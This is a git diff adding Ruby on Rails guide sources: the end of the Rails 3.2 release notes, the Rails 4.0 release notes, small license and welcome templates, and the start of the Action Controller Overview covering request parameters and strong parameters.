+ Title: <%= item.title %>
+ end
+ ```
+
+* Added `font_path` helper method that computes the path to a font asset in `public/fonts`.
+
+#### Deprecations
+
+* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
+
+### Sprockets
+
+* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.
+
+Active Record
+-------------
+
+* Boolean columns with 'on' and 'ON' values are type cast to true.
+
+* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.
+
+* Implemented `ActiveRecord::Relation#explain`.
+
+* Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.
+
+* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
+
+* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ store :settings, accessors: [ :color, :homepage ]
+ end
+
+ u = User.new(color: 'black', homepage: '37signals.com')
+ u.color # Accessor stored attribute
+ u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+ ```
+
+* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
+
+ ```
+ rake db:migrate SCOPE=blog
+ ```
+
+* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.
+
+* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
+
+ ```ruby
+ Client.where(:active => true).pluck(:id)
+ # SELECT id from clients where active = 1
+ ```
+
+* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.
+
+* Add `ActiveRecord::Relation#uniq` for generating unique queries.
+
+ ```ruby
+ Client.select('DISTINCT name')
+ ```
+
+ ..can be written as:
+
+ ```ruby
+ Client.select(:name).uniq
+ ```
+
+ This also allows you to revert the uniqueness in a relation:
+
+ ```ruby
+ Client.select(:name).uniq.uniq(false)
+ ```
+
+* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
+
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+
+ ```ruby
+ has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
+ ```
+
+* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.
+
+* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
+
+* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
+
+* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
+
+ ```ruby
+ User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+ ```
+
+* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.
+
+ This makes it possible to write the following:
+
+ ```ruby
+ class Order < ActiveRecord::Base
+ def cancel!
+ transaction do
+ lock!
+ # ... cancelling logic
+ end
+ end
+ end
+ ```
+
+ as:
+
+ ```ruby
+ class Order < ActiveRecord::Base
+ def cancel!
+ with_lock do
+ # ... cancelling logic
+ end
+ end
+ end
+ ```
+
+### Deprecations
+
+* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
+
+ ```ruby
+ Thread.new { Post.find(1) }.join
+ ```
+
+ It should be changed to close the database connection at the end of the thread:
+
+ ```ruby
+ Thread.new {
+ Post.find(1)
+ Post.connection.close
+ }.join
+ ```
+
+ Only people who spawn threads in their application code need to worry about this change.
+
+* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.
+
+ ```ruby
+ class Project < ActiveRecord::Base
+ self.table_name = "project"
+ end
+ ```
+
+ Or define your own `self.table_name` method:
+
+ ```ruby
+ class Post < ActiveRecord::Base
+ def self.table_name
+ "special_" + super
+ end
+ end
+
+ Post.table_name # => "special_posts"
+
+ ```
+
+Active Model
+------------
+
+* Add `ActiveModel::Errors#added?` to check if a specific error has been added.
+
+* Add ability to define strict validations with `strict => true` that always raises exception when fails.
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
+
+### Deprecations
+
+* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.
+
+Active Resource
+---------------
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
+
+Active Support
+--------------
+
+* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.
+
+ ```ruby
+ Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+
+ Logger.tagged("BCX") { Logger.info "Stuff" }
+ # Logs "[BCX] Stuff"
+
+ Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
+ # Logs "[BCX] [Jason] Stuff"
+
+ Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
+ # Logs "[BCX] [Jason] Stuff"
+ ```
+
+* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.
+
+* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.
+
+* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
+
+* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.
+
+* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.
+
+* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.
+
+* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.
+
+* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.
+
+* The inflector understands acronyms.
+
+* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.
+
+ ```ruby
+ Event.where(:created_at => Time.now.all_week)
+ Event.where(:created_at => Time.now.all_day)
+ ```
+
+* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.
+
+* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.
+
+* Added `ActiveSupport::Cache::NullStore` for use in development and testing.
+
+* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.
+
+### Deprecations
+
+* `ActiveSupport::Base64` is deprecated in favor of `::Base64`.
+
+* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.
+
+* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.
+
+* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.
+
+* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
+
+* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place.
+
+* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
+
+* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
+
+ ```ruby
+ f = File.open('foo.log', 'w')
+ f.sync = true
+ ActiveSupport::BufferedLogger.new f
+ ```
+
+* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
new file mode 100644
index 0000000..2793d90
--- /dev/null
+++ b/guides/source/4_0_release_notes.md
@@ -0,0 +1,222 @@
+Ruby on Rails 4.0 Release Notes
+===============================
+
+Highlights in Rails 4.0:
+
+* Ruby 2.0 preferred; 1.9.3+ required
+* Strong Parameters
+* Turbolinks
+* Russian Doll Caching
+
+These release notes cover only the major changes. To know about various bug fixes and changes, please refer to the change logs or check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+
+
+Creating a Rails 4.0 application
+--------------------------------
+
+```
+ You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+TODO. Give a list and then talk about each of them briefly. We can point to relevant code commits or documentation from these sections.
+
+
+
+Extraction of features to gems
+---------------------------
+
+In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back.
+
+* Hash-based & Dynamic finder methods ([Github](https://github.com/rails/activerecord-deprecated_finders))
+* Mass assignment protection in Active Record models ([Github](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251))
+* ActiveRecord::SessionStore ([Github](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436))
+* Active Record Observers ([Github](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2))
+* Active Resource ([Github](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource))
+* Action Caching ([Github](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Page Caching ([Github](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Sprockets ([Github](https://github.com/rails/sprockets-rails))
+* Performance tests ([Github](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876))
+
+Documentation
+-------------
+
+* Guides are rewritten in GitHub Flavored Markdown.
+
+* Guides have a responsive design.
+
+Railties
+--------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))
+
+* Your app's executables now live in the `bin/` dir. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`.
+
+* Threadsafe on by default
+
+### Deprecations
+
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded.
+
+* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+### Deprecations
+
+Active Model
+------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with ActionPack out of box.
+
+### Deprecations
+
+Active Support
+--------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore.
+
+* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.
+
+* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
+
+* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
+
+### Deprecations
+
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+
+* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
+
+* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).
+
+* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby stdlib.
+
+* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
+
+Action Pack
+-----------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionpack/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
+
+### Deprecations
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activerecord/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+ * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+ The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible).
+ The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+
+ * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+
+ * New method `revert` will revert a whole migration or the given block.
+ If migrating down, the given migration / block is run normally.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+
+* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
+
+* Add `Relation#load` to explicitly load the record and return `self`.
+
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+
+* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
+
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.
+
+* Remove IdentityMap.
+
+* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed.
+
+* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+* Allows PostgreSQL hstore records to be created.
+
+### Deprecations
+
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's
+ how you can rewrite the code:
+
+ * `find_all_by_...` can be rewritten using `where(...)`.
+ * `find_last_by_...` can be rewritten using `where(...).last`.
+ * `scoped_by_...` can be rewritten using `where(...)`.
+ * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`.
+ * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`.
+ * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
new file mode 100644
index 0000000..00b4466
--- /dev/null
+++ b/guides/source/_license.html.erb
@@ -0,0 +1,2 @@
+<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+<p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
new file mode 100644
index 0000000..a50961a
--- /dev/null
+++ b/guides/source/_welcome.html.erb
@@ -0,0 +1,19 @@
+<h2>Ruby on Rails Guides (<%= @edge ? @version[0, 7] : @version %>)</h2>
+
+<% if @edge %>
+<p>
+ These are <b>Edge Guides</b>, based on the current <a href="https://github.com/rails/rails/tree/<%= @version %>">master</a> branch.
+</p>
+<p>
+ If you are looking for the ones for the stable version, please check
+ <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
+</p>
+<% else %>
+<p>
+ These are the new guides for Rails 3.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+ These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
+</p>
+<% end %>
+<p>
+ The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
+</p>
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
new file mode 100644
index 0000000..db91425
--- /dev/null
+++ b/guides/source/action_controller_overview.md
@@ -0,0 +1,1026 @@
+Action Controller Overview
+==========================
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application.
+
+After reading this guide, you will know:
+
+* How to follow the flow of a request through a controller.
+* How to restrict parameters passed to your controller.
+* Why and how to store data in the session or cookies.
+* How to work with filters to execute code during request processing.
+* How to use Action Controller's built-in HTTP authentication.
+* How to stream data directly to the user's browser.
+* How to filter sensitive parameters so they do not appear in the application's log.
+* How to deal with exceptions that may be raised during request processing.
+
+--------------------------------------------------------------------------------
+
+What Does a Controller Do?
+--------------------------
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
+
+Controller Naming Convention
+----------------------------
+
+The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on.
+
+Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
+
+NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form.
+
+
+Methods and Actions
+-------------------
+
+A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+```ruby
+class ClientsController < ApplicationController
+ def new
+ end
+end
+```
+
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and run the `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+
+```ruby
+def new
+ @client = Client.new
+end
+```
+
+The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
+
+`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+
+Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
+
+Parameters
+----------
+
+You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data be [...]
+
+```ruby
+class ClientsController < ApplicationController
+ # This action uses query string parameters because it gets run
+ # by an HTTP GET request, but this does not make any difference
+ # to the way in which the parameters are accessed. The URL for
+ # this action would look like this in order to list activated
+ # clients: /clients?status=activated
+ def index
+ if params[:status] == "activated"
+ @clients = Client.activated
+ else
+ @clients = Client.inactivated
+ end
+ end
+
+ # This action uses POST parameters. They are most likely coming
+ # from an HTML form which the user has submitted. The URL for
+ # this RESTful request will be "/clients", and the data will be
+ # sent as part of the request body.
+ def create
+ @client = Client.new(params[:client])
+ if @client.save
+ redirect_to @client
+ else
+ # This line overrides the default rendering behavior, which
+ # would have been to render the "create" view.
+ render "new"
+ end
+ end
+end
+```
+
+### Hash and Array Parameters
+
+The `params` hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+
+```
+GET /clients?ids[]=1&ids[]=2&ids[]=3
+```
+
+NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+
+To send a hash you include the key name inside the brackets:
+
+```html
+<form accept-charset="UTF-8" action="/clients" method="post">
+ <input type="text" name="client[name]" value="Acme" />
+ <input type="text" name="client[phone]" value="12345" />
+ <input type="text" name="client[address][postcode]" value="12345" />
+ <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+```
+
+When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`.
+
+Note that the `params` hash is actually an instance of `ActiveSupport::HashWithIndifferentAccess`, which acts like a hash but lets you use symbols and strings interchangeably as keys.
+
+### JSON parameters
+
+If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. Rails will automatically convert your parameters into the `params` hash, which you can access as you would normally.
+
+So for example, if you are sending this JSON content:
+
+```json
+{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+```
+
+You'll get `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`.
+
+Also, if you've turned on `config.wrap_parameters` in your initializer or calling `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
+
+```json
+{ "name": "acme", "address": "123 Carrot Street" }
+```
+
+And assume that you're sending the data to `CompaniesController`, it would then be wrapped in `:company` key like this:
+
+```ruby
+{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" } }
+```
+
+You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+
+NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`
+
+### Routing Parameters
+
+The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id` will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+
+```ruby
+match '/clients/:status' => 'clients#index', foo: 'bar'
+```
+
+In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar" just like it was passed in the query string. In the same way `params[:action]` will contain "index".
+
+### `default_url_options`
+
+You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+
+```ruby
+class ApplicationController < ActionController::Base
+ def default_url_options
+ { locale: I18n.locale }
+ end
+end
+```
+
+These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in `url_for` calls.
+
+If you define `default_url_options` in `ApplicationController`, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
+
+### Strong Parameters
+
+With strong parameters, Action Controller parameters are forbidden to
+be used in Active Model mass assignments until they have been
+whitelisted. This means you'll have to make a conscious choice about
+which attributes to allow for mass updating and thus prevent
+accidentally exposing that which shouldn't be exposed.
+
+In addition, parameters can be marked as required and flow through a
+predefined raise/rescue flow to end up as a 400 Bad Request with no
+effort.
+
+```ruby
+class PeopleController < ActionController::Base
+ # This will raise an ActiveModel::ForbiddenAttributes exception
+ # because it's using mass assignment without an explicit permit
+ # step.
+ def create
+ Person.create(params[:person])
+ end
+
+ # This will pass with flying colors as long as there's a person key
+ # in the parameters, otherwise it'll raise a
+ # ActionController::ParameterMissing exception, which will get
+ # caught by ActionController::Base and turned into that 400 Bad
+ # Request reply.
+ def update
+ person = current_account.people.find(params[:id])
+ person.update_attributes!(person_params)
+ redirect_to person
+ end
+
+ private
+ # Using a private method to encapsulate the permissible parameters
+ # is just a good pattern since you'll be able to reuse the same
+ # permit list between create and update. Also, you can specialize
+ # this method with per-user checking of permissible attributes.
+ def person_params
+ params.require(:person).permit(:name, :age)
+ end
+end
+```
+
+#### Permitted Scalar Values
+
+Given
+
+```ruby
+params.permit(:id)
+```
+
+the key `:id` will pass the whitelisting if it appears in `params` and
+it has a permitted scalar value associated. Otherwise the key is going
+to be filtered out, so arrays, hashes, or any other objects cannot be
+injected.
+
+The permitted scalar types are `String`, `Symbol`, `NilClass`,
+`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`,
+`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile` and
+`Rack::Test::UploadedFile`.
+
+To declare that the value in `params` must be an array of permitted
+scalar values map the key to an empty array:
+
+```ruby
+params.permit(:id => [])
+```
+
+To whitelist an entire hash of parameters, the `permit!` method can be
+used:
+
+```ruby
+params.require(:log_entry).permit!
+```
+
+This will mark the `:log_entry` parameters hash and any subhash of it
+permitted. Extreme care should be taken when using `permit!` as it
+will allow all current and future model attributes to be
+mass-assigned.
+
+#### Nested Parameters
+
+You can also use permit on nested parameters, like:
+
+```ruby
+params.permit(:name, {:emails => []},
+ :friends => [ :name,
+ { :family => [ :name ], :hobbies => [] }])
+```
+
+This declaration whitelists the `name`, `emails` and `friends`
+attributes. It is expected that `emails` will be an array of permitted
+scalar values and that `friends` will be an array of resources with
+specific attributes : they should have a `name` attribute (any
+permitted scalar values allowed), a `hobbies` attribute as an array of
+permitted scalar values, and a `family` attribute which is restricted
+to having a `name` (any permitted scalar values allowed, too).
+
+#### More Examples
+
+You want to also use the permitted attributes in the `new`
+action. This raises the problem that you can't use `require` on the
+root key because normally it does not exist when calling `new`:
+
+```ruby
+# using `fetch` you can supply a default and use
+# the Strong Parameters API from there.
+params.fetch(:blog, {}).permit(:title, :author)
+```
+
+`accepts_nested_attributes_for` allows you to update and destroy
+associated records. This is based on the `id` and `_destroy`
+parameters:
+
+```ruby
+# permit :id and :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+```
+
+Hashes with integer keys are treated differently and you can declare
+the attributes as if they were direct children. You get these kinds of
+parameters when you use `accepts_nested_attributes_for` in combination
+with a `has_many` association:
+
+```ruby
+# To whitelist the following data:
+# {"book" => {"title" => "Some Book",
+# "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+# "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+```
+
+#### Outside the Scope of Strong Parameters
+
+The strong parameter API was designed with the most common use cases
+in mind. It is not meant as a silver bullet to handle all your
+whitelisting problems. However you can easily mix the API with your
+own code to adapt to your situation.
+
+Imagine a scenario where you want to whitelist an attribute
+containing a hash with any keys. Using strong parameters you can't
+allow a hash with any keys but you can use a simple assignment to get
+the job done:
+
+```ruby
+def product_params
+ params.require(:product).permit(:name).tap do |whitelisted|
+ whitelisted[:data] = params[:product][:data]
+ end
+end
+```
+
+Session
+-------
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
